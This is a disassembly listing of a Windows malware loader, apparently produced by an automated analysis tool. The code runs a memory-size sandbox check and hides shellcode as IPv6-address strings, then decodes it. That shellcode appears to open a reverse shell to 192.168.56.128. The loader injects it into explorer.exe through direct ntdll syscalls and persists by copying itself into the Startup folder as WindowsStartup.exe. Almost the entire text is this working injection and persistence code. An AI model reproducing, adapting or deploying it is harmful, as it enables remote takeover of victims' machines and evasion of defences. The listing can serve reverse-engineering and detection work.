Function at 0x140011299
Capabilities:
Convert ip address from string
Copy file
Enumerate processes
Get memory capacity
Link many functions at runtime

Disassembly:
jmp 0x140011960
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rbp
push rdi
sub rsp, 0xfd8
lea rbp, [rsp + 0x60]
lea rdi, [rsp + 0x60]
mov ecx, 0x2be
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0xff8]
mov rax, qword [section..data]
xor rax, rbp
mov qword [rbp + 0xf68], rax
lea rcx, [0x1400250aa]
call fcn.1400113bb
nop
mov dword [rbp + 0x24], 0
mov dword [rbp + 0x44], 0
mov qword [rbp + 0x68], 0
mov qword [rbp + 0x88], 0
mov qword [rbp + 0xa8], 0
mov qword [rbp + 0xc8], 0
lea rcx, str.NTDLL
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rbp + 0xc8], rax
cmp qword [rbp + 0xc8], 0
jne 0x140011a19
lea rcx, str.____Cant_get_handle_to_module_Ntdll_n
call fcn.1400111a9
nop
mov eax, 1
jmp 0x1400124d6
mov dword [rbp + 0xf0], 0x40
mov qword [rbp + 0x148], 0x3b9aca00
lea rcx, [rbp + 0xf0]
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
test eax, eax
je 0x140011a6f
mov rdx, qword [rbp + 0xf8]
lea rcx, str._i__Total_Physical_Memory:__I64u_bytes_n
call fcn.1400111a9
nop
mov rax, qword [rbp + 0x148]
cmp qword [rbp + 0xf8], rax
ja 0x140011a6d
mov eax, 1
jmp 0x1400124d6
jmp 0x140011a8e
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Error_retrieving_memory_status._Error_code:__ld_n
call fcn.1400111a9
nop
mov eax, 1
jmp 0x1400124d6
lea rax, str.FC48:83E4:F0E8:CC00:0000:4151:4150:5248
mov qword [rbp + 0x170], rax
lea rax, str.31D2:5165:488B:5260:5648:8B52:1848:8B52
mov qword [rbp + 0x178], rax
lea rax, str.2048:0FB7:4A4A:488B:7250:4D31:C948:31C0
mov qword [rbp + 0x180], rax
lea rax, str.AC3C:617C:022C:2041:C1C9:0D41:01C1:E2ED
mov qword [rbp + 0x188], rax
lea rax, str.5241:5148:8B52:208B:423C:4801:D066:8178
mov qword [rbp + 0x190], rax
lea rax, str.180B:020F:8572:0000:008B:8088:0000:0048
mov qword [rbp + 0x198], rax
lea rax, str.85C0:7467:4801:D050:448B:4020:8B48:1849
mov qword [rbp + 0x1a0], rax
lea rax, str.01D0:E356:48FF:C94D:31C9:418B:3488:4801
mov qword [rbp + 0x1a8], rax
lea rax, str.D648:31C0:AC41:C1C9:0D41:01C1:38E0:75F1
mov qword [rbp + 0x1b0], rax
lea rax, str.4C03:4C24:0845:39D1:75D8:5844:8B40:2449
mov qword [rbp + 0x1b8], rax
lea rax, str.01D0:6641:8B0C:4844:8B40:1C49:01D0:418B
mov qword [rbp + 0x1c0], rax
lea rax, str.0488:4158:4801:D041:585E:595A:4158:4159
mov qword [rbp + 0x1c8], rax
lea rax, str.415A:4883:EC20:4152:FFE0:5841:595A:488B
mov qword [rbp + 0x1d0], rax
lea rax, str.12E9:4BFF:FFFF:5D49:BE77:7332:5F33:3200
mov qword [rbp + 0x1d8], rax
lea rax, str.0041:5649:89E6:4881:ECA0:0100:0049:89E5
mov qword [rbp + 0x1e0], rax
lea rax, str.49BC:0200:1E61:C0A8:3880:4154:4989:E44C
mov qword [rbp + 0x1e8], rax
lea rax, str.89F1:41BA:4C77:2607:FFD5:4C89:EA68:0101
mov qword [rbp + 0x1f0], rax
lea rax, str.0000:5941:BA29:806B:00FF:D56A:0A41:5E50
mov qword [rbp + 0x1f8], rax
lea rax, str.504D:31C9:4D31:C048:FFC0:4889:C248:FFC0
mov qword [rbp + 0x200], rax
lea rax, str.4889:C141:BAEA:0FDF:E0FF:D548:89C7:6A10
mov qword [rbp + 0x208], rax
lea rax, str.4158:4C89:E248:89F9:41BA:99A5:7461:FFD5
mov qword [rbp + 0x210], rax
lea rax, str.85C0:740A:49FF:CE75:E5E8:9300:0000:4883
mov qword [rbp + 0x218], rax
lea rax, str.EC10:4889:E24D:31C9:6A04:4158:4889:F941
mov qword [rbp + 0x220], rax
lea rax, str.BA02:D9C8:5FFF:D583:F800:7E55:4883:C420
mov qword [rbp + 0x228], rax
lea rax, str.5E89:F66A:4041:5968:0010:0000:4158:4889
mov qword [rbp + 0x230], rax
lea rax, str.F248:31C9:41BA:58A4:53E5:FFD5:4889:C349
mov qword [rbp + 0x238], rax
lea rax, str.89C7:4D31:C949:89F0:4889:DA48:89F9:41BA
mov qword [rbp + 0x240], rax
lea rax, str.02D9:C85F:FFD5:83F8:007D:2858:4157:5968
mov qword [rbp + 0x248], rax
lea rax, str.0040:0000:4158:6A00:5A41:BA0B:2F0F:30FF
mov qword [rbp + 0x250], rax
lea rax, str.D557:5941:BA75:6E4D:61FF:D549:FFCE:E93C
mov qword [rbp + 0x258], rax
lea rax, str.FFFF:FF48:01C3:4829:C648:85F6:75B4:41FF
mov qword [rbp + 0x260], rax
lea rax, str.E758:6A00:59BB:E01D:2A0A:4189:DAFF:D590
mov qword [rbp + 0x268], rax
lea rax, str.9090:9090:9090:9090:9090:9090:9090:9090
mov qword [rbp + 0x270], rax
mov qword [rbp + 0x298], 0x21
imul rax, qword [rbp + 0x298], 0x10
mov qword [rbp + 0x2b8], rax
mov qword [rbp + 0x2d8], 0
lea rdx, str.NtOpenProcess
mov rcx, qword [rbp + 0xc8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x2f8], rax
mov eax, 1
imul rax, rax, 0
mov rcx, qword [rbp + 0x2f8]
movzx eax, byte [rcx + rax + 4]
mov dword [0x14001f9e8], eax
mov rax, qword [rbp + 0x2f8]
add rax, 0x12
mov qword [0x14001f9e0], rax
lea rdx, str.NtCreateProcess
mov rcx, qword [rbp + 0xc8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x318], rax
mov eax, 1
imul rax, rax, 0
mov rcx, qword [rbp + 0x318]
movzx eax, byte [rcx + rax + 4]
mov dword [0x14001f9d8], eax
mov rax, qword [rbp + 0x318]
add rax, 0x12
mov qword [0x14001f9d0], rax
lea rdx, str.NtAllocateVirtualMemory
mov rcx, qword [rbp + 0xc8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x338], rax
mov eax, 1
imul rax, rax, 0
mov rcx, qword [rbp + 0x338]
movzx eax, byte [rcx + rax + 4]
mov dword [0x14001f9c8], eax
mov rax, qword [rbp + 0x338]
add rax, 0x12
mov qword [0x14001f9c0], rax
lea rdx, str.NtWriteVirtualMemory
mov rcx, qword [rbp + 0xc8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x358], rax
mov eax, 1
imul rax, rax, 0
mov rcx, qword [rbp + 0x358]
movzx eax, byte [rcx + rax + 4]
mov dword [0x14001f9b8], eax
mov rax, qword [rbp + 0x358]
add rax, 0x12
mov qword [0x14001f9b0], rax
lea rdx, str.NtProtectVirtualMemory
mov rcx, qword [rbp + 0xc8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x378], rax
mov eax, 1
imul rax, rax, 0
mov rcx, qword [rbp + 0x378]
movzx eax, byte [rcx + rax + 4]
mov dword [0x14001f978], eax
mov rax, qword [rbp + 0x378]
add rax, 0x12
mov qword [0x14001f970], rax
lea rdx, str.NtCreateThreadEx
mov rcx, qword [rbp + 0xc8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x398], rax
mov eax, 1
imul rax, rax, 0
mov rcx, qword [rbp + 0x398]
movzx eax, byte [rcx + rax + 4]
mov dword [0x14001f9a8], eax
mov rax, qword [rbp + 0x398]
add rax, 0x12
mov qword [0x14001f9a0], rax
lea rdx, str.NtWaitForSingleObject
mov rcx, qword [rbp + 0xc8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x3b8], rax
mov eax, 1
imul rax, rax, 0
mov rcx, qword [rbp + 0x3b8]
movzx eax, byte [rcx + rax + 4]
mov dword [0x14001f998], eax
mov rax, qword [rbp + 0x3b8]
add rax, 0x12
mov qword [0x14001f990], rax
lea rdx, str.NtClose
mov rcx, qword [rbp + 0xc8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x3d8], rax
mov eax, 1
imul rax, rax, 0
mov rcx, qword [rbp + 0x3d8]
movzx eax, byte [rcx + rax + 4]
mov dword [0x14001f988], eax
mov rax, qword [rbp + 0x3d8]
add rax, 0x12
mov qword [0x14001f980], rax
lea rdx, str.NtCreateFile
mov rcx, qword [rbp + 0xc8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x3f8], rax
mov eax, 1
imul rax, rax, 0
mov rcx, qword [rbp + 0x3f8]
movzx eax, byte [rcx + rax + 4]
mov dword [0x14001f968], eax
mov rax, qword [rbp + 0x3f8]
add rax, 0x12
mov qword [0x14001f960], rax
lea rdx, str.NtReadFile
mov rcx, qword [rbp + 0xc8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x418], rax
mov eax, 1
imul rax, rax, 0
mov rcx, qword [rbp + 0x418]
movzx eax, byte [rcx + rax + 4]
mov dword [0x14001f958], eax
mov rax, qword [rbp + 0x418]
add rax, 0x12
mov qword [0x14001f950], rax
lea rdx, str.NtWriteFile
mov rcx, qword [rbp + 0xc8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x438], rax
mov eax, 1
imul rax, rax, 0
mov rcx, qword [rbp + 0x438]
movzx eax, byte [rcx + rax + 4]
mov dword [0x14001f948], eax
mov rax, qword [rbp + 0x438]
add rax, 0x12
mov qword [0x14001f940], rax
lea rax, str.explorer.exe
mov qword [rbp + 0x458], rax
xor edx, edx
mov ecx, 2
call fcn.1400111b3
mov qword [rbp + 0x478], rax
cmp qword [rbp + 0x478], 0xffffffffffffffff
jne 0x140011fdb
lea rcx, str.____failed_to_create_snapshot_n
call fcn.1400111a9
nop
mov eax, 1
jmp 0x1400124d6
mov dword [rbp + 0x4a0], 0x238
lea rdx, [rbp + 0x4a0]
mov rcx, qword [rbp + 0x478]
call fcn.140011249
test eax, eax
jne 0x140012021
lea rcx, str.____Failed_to_take_first_process_n
call fcn.1400111a9
nop
mov rcx, qword [rbp + 0x478]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov eax, 1
jmp 0x1400124d6
mov rdx, qword [rbp + 0x458]
lea rcx, [rbp + 0x4cc]
call fcn.140011433
mov dword [rbp + 0x6f4], eax
cmp dword [rbp + 0x6f4], 0
jne 0x14001204e
mov eax, dword [rbp + 0x4a8]
mov dword [rbp + 0x24], eax
jmp 0x140012065
lea rdx, [rbp + 0x4a0]
mov rcx, qword [rbp + 0x478]
call fcn.14001136b
test eax, eax
jne 0x140012021
mov rcx, qword [rbp + 0x478]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov eax, dword [rbp + 0x24]
test rax, rax
jne 0x140012092
lea rcx, str.____Failed_to_get_PID_of_explorer_n
call fcn.1400111a9
nop
mov eax, 1
jmp 0x1400124d6
mov dword [rbp + 0x718], 0x30
mov qword [rbp + 0x720], 0
lea rax, [rbp + 0x728]
mov rdi, rax
xor eax, eax
mov ecx, 0x20
rep stosb byte [rdi], al
mov eax, dword [rbp + 0x24]
mov qword [rbp + 0x768], rax
mov qword [rbp + 0x770], 0
mov dword [rbp + 0x794], 0
mov edx, dword [rbp + 0x24]
lea rcx, str._i__Try_to_Handle_process__ld_n
call fcn.1400111a9
nop
lea r9, [rbp + 0x768]
lea r8, [rbp + 0x718]
mov edx, 0x1fffff
lea rcx, [rbp + 0x88]
call fcn.14001111d
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
je 0x14001212f
mov r8d, dword [rbp + 4]
mov edx, dword [rbp + 0x24]
lea rcx, str.____Failed_to_handle_Process___ld___error:_0x_x_n
call fcn.1400111a9
nop
mov eax, 1
jmp 0x1400124d6
lea rcx, str.___Got_handle_to_process_explorer.exe_n
call fcn.1400111a9
nop
mov rdx, qword [rbp + 0x88]
lea rcx, str._i___tHandle:_0x_p_n
call fcn.1400111a9
nop
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0x3000
lea r9, [rbp + 0x2b8]
xor r8d, r8d
lea rdx, [rbp + 0x68]
mov rcx, qword [rbp + 0x88]
call fcn.14001140b
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
je 0x1400121b0
mov r8d, dword [rbp + 4]
mov edx, dword [rbp + 0x24]
lea rcx, str.____Failed_to_allocate_memory_in_process__ld__error:_0x_x_n
call fcn.1400111a9
nop
mov rcx, qword [rbp + 0x88]
call fcn.1400111d1
mov dword [rbp + 4], eax
mov eax, 1
jmp 0x1400124d6
lea rcx, str.___Allocate_memory_Success__n
call fcn.1400111a9
nop
mov dword [rbp + 0x7e4], 0
mov dword [rbp + 0x804], 0
jmp 0x1400121e1
mov eax, dword [rbp + 0x804]
inc eax
mov dword [rbp + 0x804], eax
movsxd rax, dword [rbp + 0x804]
cmp rax, qword [rbp + 0x298]
jae 0x1400122a9
movsxd rax, dword [rbp + 0x804]
lea r8, [rbp + 0x7b8]
mov rdx, qword [rbp + rax*8 + 0x170]
mov ecx, 0x17
call qword [sym.imp.WS2_32.dll_inet_pton]
mov dword [rbp + 0x824], eax
movsxd rax, dword [rbp + 0x7e4]
mov rcx, qword [rbp + 0x68]
add rcx, rax
mov rax, rcx
lea rcx, [rbp + 0x2d8]
mov qword [rsp + 0x20], rcx
mov r9d, 0x10
lea r8, [rbp + 0x7b8]
mov rdx, rax
mov rcx, qword [rbp + 0x88]
call fcn.140011410
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
je 0x140012287
mov edx, dword [rbp + 4]
lea rcx, str.____Failed_to_write_shellcode_to_memory__error:_0x_x_n
call fcn.1400111a9
nop
mov rcx, qword [rbp + 0x88]
call fcn.1400111d1
mov dword [rbp + 4], eax
mov eax, 1
jmp 0x1400124d6
mov eax, dword [rbp + 0x7e4]
add eax, 0x10
mov dword [rbp + 0x7e4], eax
movsxd rax, dword [rbp + 0x7e4]
mov qword [rbp + 0x2d8], rax
jmp 0x1400121d3
lea rax, [rbp + 0x794]
mov qword [rsp + 0x20], rax
mov r9d, 0x20
lea r8, [rbp + 0x2b8]
lea rdx, [rbp + 0x68]
mov rcx, qword [rbp + 0x88]
call fcn.1400110d2
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
je 0x140012304
mov edx, dword [rbp + 4]
lea rcx, str.____Failed_to_change_protect_type_on_memory__error:_0x_x_n
call fcn.1400111a9
nop
mov rcx, qword [rbp + 0x88]
call fcn.1400111d1
mov dword [rbp + 4], eax
mov eax, 1
jmp 0x1400124d6
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov rax, qword [rbp + 0x68]
mov qword [rsp + 0x20], rax
mov r9, qword [rbp + 0x88]
lea r8, [rbp + 0x718]
mov edx, 0x1fffff
lea rcx, [rbp + 0xa8]
call fcn.140011203
mov dword [rbp + 4], eax
cmp dword [rbp + 4], 0
je 0x140012393
mov edx, dword [rbp + 4]
lea rcx, str.____Failed_to_create_handle_to_thread__error:_0x_x_n
call fcn.1400111a9
nop
mov rcx, qword [rbp + 0x88]
call fcn.1400111d1
mov dword [rbp + 4], eax
mov eax, 1
jmp 0x1400124d6
lea rcx, str.___Got_handle_to_thread_n
call fcn.1400111a9
nop
mov rdx, qword [rbp + 0xa8]
lea rcx, str._i___tHandle:_0x_p_n
call fcn.1400111a9
nop
mov r8d, 0xffffffff
xor edx, edx
mov rcx, qword [rbp + 0xa8]
call fcn.1400113ed
mov dword [rbp + 4], eax
lea rcx, str.___Inject_successfully__n
call fcn.1400111a9
nop
lea rcx, str._i__Cleaning_up_..._n
call fcn.1400111a9
nop
mov rcx, qword [rbp + 0xa8]
call fcn.1400111d1
mov dword [rbp + 4], eax
mov rcx, qword [rbp + 0x88]
call fcn.1400111d1
mov dword [rbp + 4], eax
lea rcx, str.___Finished_cleanup__n
call fcn.1400111a9
nop
mov r8d, 0x104
lea rdx, [rbp + 0x850]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov dword [rbp + 0xa74], eax
mov eax, 8
imul rax, rax, 0
mov rcx, qword [rbp + 0xf98]
mov rax, qword [rcx + rax]
mov qword [rbp + 0xa98], rax
mov edx, 0x5c
mov rcx, qword [rbp + 0xa98]
call fcn.14001142e
mov qword [rbp + 0xab8], rax
cmp qword [rbp + 0xab8], 0
je 0x140012479
mov rax, qword [rbp + 0xab8]
inc rax
mov qword [rbp + 0xa98], rax
mov rdx, qword [rbp + 0xa98]
lea rcx, str.___program_name:__s_n
call fcn.1400111a9
nop
lea rax, str.WindowsStartup.exe
cmp qword [rbp + 0xa98], rax
jne 0x1400124a1
xor eax, eax
jmp 0x1400124d6
cmp dword [rbp + 0xa74], 0
jbe 0x1400124d4
xor r8d, r8d
lea rdx, str.__C:UsersAdminsAppDataRoamingMicrosoftWindowsStart_MenuProgramsStartup.WindowsStartup.exe
lea rcx, [rbp + 0x850]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
mov dword [rbp + 0xad4], eax
lea rcx, str.___Copy_to_startup_itself_successfully__n
call fcn.1400111a9
nop
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x60]
lea rdx, [0x14001c010]
call fcn.14001133e
mov rax, rdi
mov rcx, qword [rbp + 0xf68]
xor rcx, rbp
call fcn.1400111c7
lea rsp, [rbp + 0xf78]
pop rdi
pop rbp
ret